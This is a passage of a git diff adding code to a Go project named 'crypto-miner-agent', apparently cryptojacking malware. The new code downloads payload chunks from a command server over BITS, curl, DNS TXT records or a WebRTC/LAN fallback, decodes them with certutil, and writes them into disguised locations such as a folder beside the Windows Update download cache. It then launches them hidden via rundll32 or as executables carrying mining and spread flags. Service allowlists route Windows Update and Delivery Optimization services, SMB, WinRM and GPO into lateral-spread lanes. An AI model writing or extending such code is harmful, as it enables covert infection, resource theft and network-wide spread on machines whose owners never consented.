config.RuntimeConfig) string { + return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName)) +} + +func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { + if webrtcMeshReceiveFn != nil { + return webrtcMeshReceiveFn(cfg, policy) + } + return receiveWebRTCMeshPayloadPlatform(cfg, policy) +} + +// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker. +func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) { + if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" { + return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS) + } + payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy) + if err != nil { + return "", err + } + sum := sha256.Sum256(payload) + got := hex.EncodeToString(sum[:]) + expected := strings.ToLower(strings.TrimSpace(manifest.SHA256)) + if expected != "" && got != expected { + return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected) + } + + dest, err := ResolveStagingPath(manifest.Dest) + if err != nil { + return "", err + } + workDir := webrtcMeshWorkDir(cfg) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", err + } + defer func() { _ = os.RemoveAll(workDir) }() + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + return "", err + } + if err := os.WriteFile(dest, payload, 0o755); err != nil { + return "", err + } + + launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) + transport := "webrtc_relay" + if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" { + transport = "lan_http_fallback" + } + switch launch { + case "rundll32", "dll": + export := strings.TrimSpace(manifest.DLLExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh", + transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil + default: + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh", + transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil + } +} + +// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread. +func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool { + if cfg.WebRTCMeshSpread { + return true + } + return false +} + +// DefaultWebRTCRotationHours is the server policy default for seeder rotation. +const DefaultWebRTCRotationHours = 24 + +// WebRTCMeshSeederTTL returns duration until next seeder rotation window. +func WebRTCMeshSeederTTL(hours int) time.Duration { + if hours <= 0 { + hours = DefaultWebRTCRotationHours + } + return time.Duration(hours) * time.Hour +} diff --git a/agent/deploy/webrtc_mesh_platform.go b/agent/deploy/webrtc_mesh_platform.go new file mode 100644 index 0000000..f1dfb70 --- /dev/null +++ b/agent/deploy/webrtc_mesh_platform.go @@ -0,0 +1,35 @@ +package deploy + +import ( + "fmt" + "io" + "net/http" + "strings" + "time" + + "crypto-miner-agent/config" +) + +func receiveWebRTCMeshPayloadPlatform(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { + fallback := strings.TrimSpace(policy.LANFallbackURL) + if fallback == "" { + fallback = strings.TrimRight(strings.TrimSpace(cfg.ServerURL), "/") + "/api/v1/public/webrtc-mesh/manifest" + } + client := &http.Client{Timeout: 45 * time.Second} + resp, err := client.Get(fallback) + if err != nil { + return nil, fmt.Errorf("webrtc lan fallback: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("webrtc lan fallback http %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 32<<20)) + if err != nil { + return nil, err + } + if len(body) == 0 { + return nil, fmt.Errorf("webrtc manifest empty") + } + return body, nil +} diff --git a/agent/deploy/webrtc_mesh_test.go b/agent/deploy/webrtc_mesh_test.go new file mode 100644 index 0000000..dde23f3 --- /dev/null +++ b/agent/deploy/webrtc_mesh_test.go @@ -0,0 +1,86 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestWebRTCMeshMockChannelReceive(t *testing.T) { + payload := []byte("webrtc-mesh-manifest-payload") + ch := NewMockWebRTCChannel(payload) + got, err := ch.Receive() + if err != nil { + t.Fatal(err) + } + if string(got) != string(payload) { + t.Fatalf("payload mismatch") + } +} + +func TestWebRTCMeshStagingWithMockReceiveFn(t *testing.T) { + payload := []byte("webrtc-lan-seed-worker") + sum := sha256.Sum256(payload) + + oldFn := webrtcMeshReceiveFn + webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { + if policy.RotationHours != 24 { + t.Fatalf("rotation=%d", policy.RotationHours) + } + return payload, nil + } + defer func() { webrtcMeshReceiveFn = oldFn }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}} + manifest := WebRTCMeshManifest{ + Policy: WebRTCMeshPolicy{ + STUNServers: []string{"stun:stun.l.google.com:19302"}, + SignalingRelay: "wss://deck.example/ws/webrtc-relay", + SeederAgentID: "agent-seed-1", + RotationHours: 24, + }, + SHA256: hex.EncodeToString(sum[:]), + Dest: "webrtc-mesh-worker.exe", + Launch: "exe", + DeferMining: true, + } + + _, err := RunWebRTCMeshStaging(cfg, manifest) + if err != nil { + if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") { + return + } + t.Fatal(err) + } +} + +func TestWebRTCMeshSHA256Mismatch(t *testing.T) { + oldFn := webrtcMeshReceiveFn + webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { + return []byte("wrong"), nil + } + defer func() { webrtcMeshReceiveFn = oldFn }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}} + manifest := WebRTCMeshManifest{ + Policy: WebRTCMeshPolicy{RotationHours: 24}, + SHA256: strings.Repeat("d", 64), + Dest: "worker.exe", + } + _, err := RunWebRTCMeshStaging(cfg, manifest) + if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") { + t.Fatalf("expected sha256 mismatch, got %v", err) + } +} + +func TestIsWebRTCMeshReadyRequiresForgeFlag(t *testing.T) { + if IsWebRTCMeshReady(config.RuntimeConfig{}) { + t.Fatal("expected false without forge flag") + } + if !IsWebRTCMeshReady(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WebRTCMeshSpread: true}}) { + t.Fatal("expected true with forge flag") + } +} diff --git a/agent/deploy/wsus_cache_peer_staging.go b/agent/deploy/wsus_cache_peer_staging.go new file mode 100644 index 0000000..e227d31 --- /dev/null +++ b/agent/deploy/wsus_cache_peer_staging.go @@ -0,0 +1,155 @@ +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download. +type WSUSCachePeerManifest struct { + Method string `json:"method"` + Chunks []StagingChunk `json:"chunks"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` + DLLExport string `json:"dll_export,omitempty"` + Encoded bool `json:"encoded"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` + CacheGroup string `json:"cache_group,omitempty"` +} + +// WSUSCachePeerFromStagingManifest maps a signed deploy-plan manifest into wsus_cache_peer payload. +func WSUSCachePeerFromStagingManifest(m StagingManifest, cacheGroup string) WSUSCachePeerManifest { + return WSUSCachePeerManifest{ + Method: m.Method, + Chunks: m.Chunks, + SHA256: m.SHA256, + Dest: m.Dest, + Launch: m.Launch, + DLLExport: m.DLLExport, + Encoded: m.Encoded, + DeferMining: m.DeferMining, + SpreadInstall: m.SpreadInstall, + CacheGroup: cacheGroup, + } +} + +var ( + wsusPeerDownloadCurlFn func(url, dest string) error + wsusPeerDownloadBITSFn func(url, dest string) error +) + +type wsusPeerDownloader func(url, dest string) error + +func wsusCacheWorkDir(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) string { + group := sanitizeName(manifest.CacheGroup) + if group == "" { + group = "wsus-local" + } + return filepath.Join(os.TempDir(), ".wsus-cache-"+group+"-"+sanitizeName(cfg.WorkerName)) +} + +// assembleWSUSCachePeerPayload downloads chunks, verifies SHA256, returns staged dest path. +func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest, curlDL, bitsDL wsusPeerDownloader) (dest string, cleanup func(), err error) { + if len(manifest.Chunks) == 0 { + return "", nil, fmt.Errorf("wsus_cache_peer manifest has no chunks") + } + dest, err = ResolveStagingPath(manifest.Dest) + if err != nil { + return "", nil, err + } + workDir := wsusCacheWorkDir(cfg, manifest) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", nil, err + } + cleanupFn := func() { _ = os.RemoveAll(workDir) } + + method := strings.ToLower(strings.TrimSpace(manifest.Method)) + if method == "" { + method = "bits" + } + + var assembled []string + for i, chunk := range manifest.Chunks { + name, err := sanitizeStagingFilename(chunk.File) + if err != nil { + cleanupFn() + return "", nil, fmt.Errorf("chunk %d: %w", i, err) + } + localPath := filepath.Join(workDir, name) + if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil { + cleanupFn() + return "", nil, err + } + switch method { + case "bits", "bitsadmin": + dl := bitsDL + if dl == nil { + cleanupFn() + return "", nil, fmt.Errorf("bits downloader unavailable") + } + if err := dl(chunk.URL, localPath); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("bits chunk %d: %w", i, err) + } + default: + dl := curlDL + if dl == nil { + cleanupFn() + return "", nil, fmt.Errorf("curl downloader unavailable") + } + if err := dl(chunk.URL, localPath); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("curl chunk %d: %w", i, err) + } + } + if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") { + decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin" + if err := certutilDecodePeer(localPath, decoded); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err) + } + assembled = append(assembled, decoded) + } else { + assembled = append(assembled, localPath) + } + } + + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + cleanupFn() + return "", nil, err + } + if len(assembled) == 1 { + if err := os.Rename(assembled[0], dest); err != nil { + if err := copyFile(assembled[0], dest); err != nil { + cleanupFn() + return "", nil, err + } + } + } else { + if err := concatFiles(dest, assembled); err != nil { + cleanupFn() + return "", nil, err + } + } + if err := verifyFileSHA256(dest, manifest.SHA256); err != nil { + _ = os.Remove(dest) + cleanupFn() + return "", nil, err + } + return dest, cleanupFn, nil +} + +// RunWSUSCachePeerStaging verifies SHA256, assembles WSUS cache chunks, and launches the worker. +func RunWSUSCachePeerStaging(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) { + if runtime.GOOS != "windows" { + return "", fmt.Errorf("wsus_cache_peer staging is Windows-only") + } + return runWSUSCachePeerStagingWindows(cfg, manifest) +} diff --git a/agent/deploy/wsus_cache_peer_staging_stub.go b/agent/deploy/wsus_cache_peer_staging_stub.go new file mode 100644 index 0000000..c1be3a0 --- /dev/null +++ b/agent/deploy/wsus_cache_peer_staging_stub.go @@ -0,0 +1,18 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +// IsWSUSCachePeerReady is Windows-only (Wuauserv + SoftwareDistribution cache). +func IsWSUSCachePeerReady() bool { + return false +} + +func runWSUSCachePeerStagingWindows(_ config.RuntimeConfig, _ WSUSCachePeerManifest) (string, error) { + return "", fmt.Errorf("wsus_cache_peer staging is Windows-only") +} diff --git a/agent/deploy/wsus_cache_peer_staging_test.go b/agent/deploy/wsus_cache_peer_staging_test.go new file mode 100644 index 0000000..4d33c88 --- /dev/null +++ b/agent/deploy/wsus_cache_peer_staging_test.go @@ -0,0 +1,88 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) { + dir := t.TempDir() + chunkPath := filepath.Join(dir, "wsus-0.bin") + payload := []byte("wsus-cache-cousin-payload") + if err := os.WriteFile(chunkPath, payload, 0o644); err != nil { + t.Fatal(err) + } + sum := sha256.Sum256(payload) + destRel := filepath.Join("af-wsus", "worker.exe") + + fakeDL := func(url, dest string) error { + return copyFile(chunkPath, dest) + } + + oldCurl := wsusPeerDownloadCurlFn + oldBits := wsusPeerDownloadBITSFn + wsusPeerDownloadCurlFn = fakeDL + wsusPeerDownloadBITSFn = fakeDL + defer func() { + wsusPeerDownloadCurlFn = oldCurl + wsusPeerDownloadBITSFn = oldBits + }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}} + manifest := WSUSCachePeerManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "wsus-0.bin"}}, + SHA256: hex.EncodeToString(sum[:]), + Dest: destRel, + CacheGroup: "wsus-lan-1", + } + + resolvedDest, err := ResolveStagingPath(destRel) + if err != nil { + t.Fatal(err) + } + _ = os.Remove(resolvedDest) + + staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL) + if err != nil { + t.Fatal(err) + } + defer cleanup() + if staged != resolvedDest { + t.Fatalf("dest=%q want %q", staged, resolvedDest) + } + if err := verifyFileSHA256(staged, manifest.SHA256); err != nil { + t.Fatal(err) + } +} + +func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) { + dir := t.TempDir() + chunkPath := filepath.Join(dir, "wsus-0.bin") + if err := os.WriteFile(chunkPath, []byte("bad"), 0o644); err != nil { + t.Fatal(err) + } + fakeDL := func(url, dest string) error { + return copyFile(chunkPath, dest) + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}} + manifest := WSUSCachePeerManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}}, + SHA256: strings.Repeat("c", 64), + Dest: "worker.exe", + } + _, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL) + if cleanup != nil { + defer cleanup() + } + if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") { + t.Fatalf("expected sha256 mismatch, got %v", err) + } +} diff --git a/agent/deploy/wsus_cache_peer_staging_windows.go b/agent/deploy/wsus_cache_peer_staging_windows.go new file mode 100644 index 0000000..62d84b9 --- /dev/null +++ b/agent/deploy/wsus_cache_peer_staging_windows.go @@ -0,0 +1,112 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +// IsWSUSCachePeerReady reports whether Wuauserv/AU registry/cache dir signals are present. +func IsWSUSCachePeerReady() bool { + if st := serviceStatus("wuauserv"); st != "running" && st != "started" { + if st := serviceStatus("Wuauserv"); st != "running" && st != "started" { + return false + } + } + windir := os.Getenv("WINDIR") + if windir == "" { + windir = `C:\Windows` + } + cacheDir := windir + `\SoftwareDistribution\Download` + if _, err := os.Stat(cacheDir); err != nil { + return false + } + return true +} + +func runWSUSCachePeerStagingWindows(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) { + curlDL := wsusPeerDownloadCurlFn + if curlDL == nil { + curlDL = downloadChunkCurl + } + bitsDL := wsusPeerDownloadBITSFn + if bitsDL == nil { + bitsDL = downloadChunkBITS + } + + dest, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, curlDL, bitsDL) + if err != nil { + return "", err + } + defer cleanup() + + method := strings.ToLower(strings.TrimSpace(manifest.Method)) + if method == "" { + method = "bits" + } + + launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) + switch launch { + case "rundll32", "dll": + export := strings.TrimSpace(manifest.DLLExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched rundll32 %s", + len(manifest.Chunks), method, manifest.CacheGroup, dest, export), nil + default: + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched exe %v", + len(manifest.Chunks), method, manifest.CacheGroup, dest, args), nil + } +} + +// DefaultWSUSCacheDest returns the SoftwareDistribution\Download cousin path for staging. +func DefaultWSUSCacheDest(fileName string) string { + windir := os.Getenv("WINDIR") + if windir == "" { + windir = `C:\Windows` + } + if fileName == "" { + fileName = "af-wsus-worker.exe" + } + return windir + `\SoftwareDistribution\Download\af-cache\` + fileName +} + +// ProbeWSUSCacheDir returns the WSUS download cache directory if present. +func ProbeWSUSCacheDir() string { + windir := os.Getenv("WINDIR") + if windir == "" { + windir = `C:\Windows` + } + dir := windir + `\SoftwareDistribution\Download` + if _, err := os.Stat(dir); err != nil { + return "" + } + return dir +} + +func wsusAURegistryPresent() bool { + if _, err := exec.LookPath("reg.exe"); err != nil { + return false + } + out, err := HiddenCombinedOutput("reg.exe", "query", `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate`) + return err == nil && strings.Contains(string(out), "WindowsUpdate") +} diff --git a/agent/miner/pyopencl_linux.go b/agent/miner/pyopencl_linux.go index 6f4df52..5a989be 100644 --- a/agent/miner/pyopencl_linux.go +++ b/agent/miner/pyopencl_linux.go @@ -6,6 +6,8 @@ import ( "fmt" "os/exec" "strings" + + "crypto-miner-agent/config" ) // DetectCUDA reports NVIDIA CUDA via nvidia-smi. diff --git a/agent/miner/tier_webview2_probe_stub.go b/agent/miner/tier_webview2_probe_stub.go index 274620b..8c9f7dd 100644 --- a/agent/miner/tier_webview2_probe_stub.go +++ b/agent/miner/tier_webview2_probe_stub.go @@ -2,6 +2,8 @@ package miner +const webView2BinaryName = "msedgewebview2.exe" + func platformWebView2Probe() WebView2ProbeResult { return WebView2ProbeResult{ProbeOnly: true} } diff --git a/agent/miner/tier_wmi_stub.go b/agent/miner/tier_wmi_stub.go index b83697b..98e3548 100644 --- a/agent/miner/tier_wmi_stub.go +++ b/agent/miner/tier_wmi_stub.go @@ -2,8 +2,26 @@ package miner -import "fmt" +import ( + "fmt" + "regexp" + "strconv" +) func platformWMIProcessCreate(commandLine string) (uint32, error) { return 0, fmt.Errorf("wmi tier requires windows") } + +func parseWMICreatePID(out []byte) (uint32, error) { + raw := string(out) + re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`) + m := re.FindStringSubmatch(raw) + if len(m) < 2 { + return 0, fmt.Errorf("wmi: no pid in output: %s", raw) + } + v, err := strconv.ParseUint(m[1], 10, 32) + if err != nil { + return 0, err + } + return uint32(v), nil +} diff --git a/agent/miner/triple_onion.go b/agent/miner/triple_onion.go index a708553..d9df1bb 100644 --- a/agent/miner/triple_onion.go +++ b/agent/miner/triple_onion.go @@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{ "dotnet", "bits_curl", "do_peer", + "wsus_cache_peer", + "dns_txt", + "webrtc_mesh", "smb", "winrm", } diff --git a/server/config.go b/server/config.go index 000c591..6e53fdb 100644 --- a/server/config.go +++ b/server/config.go @@ -73,10 +73,21 @@ type ServerSettings struct { LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` // ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join. ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"` + // DNSZone is the suffix for _aether. TXT mesh records (e.g. site.internal). + DNSZone string `json:"dns_zone,omitempty"` + // WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread. + WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"` // TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth. TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"` } +// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. +type WebRTCMeshPolicySettings struct { + Enabled bool `json:"enabled,omitempty"` + STUNServers []string `json:"stun_servers,omitempty"` + RotationHours int `json:"rotation_hours,omitempty"` +} + // TripleOnionSettings is Calibrate policy for the agent triple onion. type TripleOnionSettings struct { PatchFirst bool `json:"patch_first,omitempty"` @@ -259,8 +270,15 @@ func DefaultConfig() *Config { LotlOnionTiers: []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", }, + DNSZone: "internal", + WebRTCMeshPolicy: WebRTCMeshPolicySettings{ + Enabled: false, + STUNServers: []string{"stun:stun.l.google.com:19302"}, + RotationHours: 24, + }, ServiceDeployAllowlist: defaultServiceDeployAllowlist(), }, } @@ -963,6 +981,14 @@ func (c *Config) Save() error { func defaultServiceDeployAllowlist() map[string]ServiceDeployLane { return map[string]ServiceDeployLane{ + "DoSvc": {Lane: "do_peer", Priority: 35}, + "Delivery Optimization": {Lane: "do_peer", Priority: 35}, + "Wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, + "wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, + "Windows Update": {Lane: "wsus_cache_peer", Priority: 34}, + "dns_txt:_aether": {Lane: "dns_txt", Priority: 33}, + "dns_txt": {Lane: "dns_txt", Priority: 33}, + "webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32}, "CCMEXEC": {Lane: "bits_curl", Priority: 10}, "CcmExec": {Lane: "bits_curl", Priority: 10}, "BITS": {Lane: "bits_curl", Priority: 8}, diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index f24d6a8..7e28954 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -28,11 +28,26 @@ type StagingManifest struct { DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` PeerGroup string `json:"peer_group,omitempty"` + CacheGroup string `json:"cache_group,omitempty"` + DNSZone string `json:"dns_zone,omitempty"` + TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` +} + +// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans. +type WebRTCMeshPlanBody struct { + STUNServers []string `json:"stun_servers,omitempty"` + SignalingRelay string `json:"signaling_relay,omitempty"` + LANFallbackURL string `json:"lan_fallback_url,omitempty"` + SeederAgentID string `json:"seeder_agent_id,omitempty"` + RotationHours int `json:"rotation_hours,omitempty"` + IsSeeder bool `json:"is_seeder,omitempty"` } type StagingChunk struct { - URL string `json:"url"` - File string `json:"file"` + URL string `json:"url"` + File string `json:"file"` + Record string `json:"record,omitempty"` + Index int `json:"index,omitempty"` } // DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command. @@ -42,6 +57,12 @@ type DeployPlanBody struct { Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` PeerGroup string `json:"peer_group,omitempty"` + CacheGroup string `json:"cache_group,omitempty"` + DNSTXTZone string `json:"dns_txt_zone,omitempty"` + DNSTXTRecords []string `json:"dns_txt_records,omitempty"` + DNSTXTShards []int `json:"dns_txt_shards,omitempty"` + TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` + WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` @@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan } body.Manifest = manifest body.PeerGroup = manifest.PeerGroup + case "wsus_cache_peer": + manifest, err := h.buildWSUSCachePeerManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + body.CacheGroup = manifest.CacheGroup + case "dns_txt": + manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + body.DNSTXTZone = zone + body.DNSTXTRecords = records + body.DNSTXTShards = shards + body.TTLRefreshSec = ttl + case "webrtc_mesh": + manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + body.WebRTCMesh = mesh case "bits_curl": manifest, err := h.buildStagingManifest(req, serverURL) if err != nil { @@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL }, nil } +// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download. +func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return nil, err + } + hash, err := fileSHA256(build.FilePath) + if err != nil { + return nil, fmt.Errorf("build hash: %w", err) + } + + _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) + downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix + cacheGroup := "af-wsus-" + hash[:8] + if campaign := strings.TrimSpace(req.Campaign); campaign != "" { + cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign) + } + + dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe` + launch := "exe" + if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { + dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll` + launch = "rundll32" + } + + return &StagingManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}}, + SHA256: hash, + Dest: dest, + Launch: launch, + DLLExport: "DllRegisterServer", + DeferMining: true, + SpreadInstall: true, + CacheGroup: cacheGroup, + }, nil +} + +// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests. +func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return nil, "", nil, nil, 0, err + } + hash, err := fileSHA256(build.FilePath) + if err != nil { + return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err) + } + + zone := h.dnsTXTZone() + records := []string{ + "_aether.shard0." + zone, + "_aether.shard1." + zone, + } + shards := []int{0, 1} + ttl := 300 + + chunks := make([]StagingChunk, len(records)) + for i, rec := range records { + chunks[i] = StagingChunk{ + Record: rec, + Index: shards[i], + File: fmt.Sprintf("shard-%d.b64", shards[i]), + URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec), + } + } + + dest := `%TEMP%\AetherForge\dns-txt-worker.exe` + launch := "exe" + if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { + dest = `%TEMP%\AetherForge\dns-txt-worker.dll` + launch = "rundll32" + } + + manifest := &StagingManifest{ + Method: "dns_txt", + Chunks: chunks, + SHA256: hash, + Dest: dest, + Launch: launch, + DLLExport: "DllRegisterServer", + DeferMining: true, + SpreadInstall: true, + DNSZone: zone, + TTLRefreshSec: ttl, + } + return manifest, zone, records, shards, ttl, nil +} + +func (h *DeployPlanHandler) dnsTXTZone() string { + zone := "internal" + if h.allowlist != nil { + _ = h.allowlist() + } + if h.dataDir != "" { + cfgPath := filepath.Join(h.dataDir, "config.json") + if data, err := os.ReadFile(cfgPath); err == nil { + var payload struct { + Server struct { + DNSZone string `json:"dns_zone"` + } `json:"server"` + } + if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" { + zone = strings.TrimSpace(payload.Server.DNSZone) + } + } + } + return zone +} + +// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet. +func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return nil, nil, err + } + hash, err := fileSHA256(build.FilePath) + if err != nil { + return nil, nil, fmt.Errorf("build hash: %w", err) + } + + _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) + fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&") + if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" { + fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&") + } + + dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe` + launch := "exe" + if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { + dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll` + launch = "rundll32" + } + + manifest := &StagingManifest{ 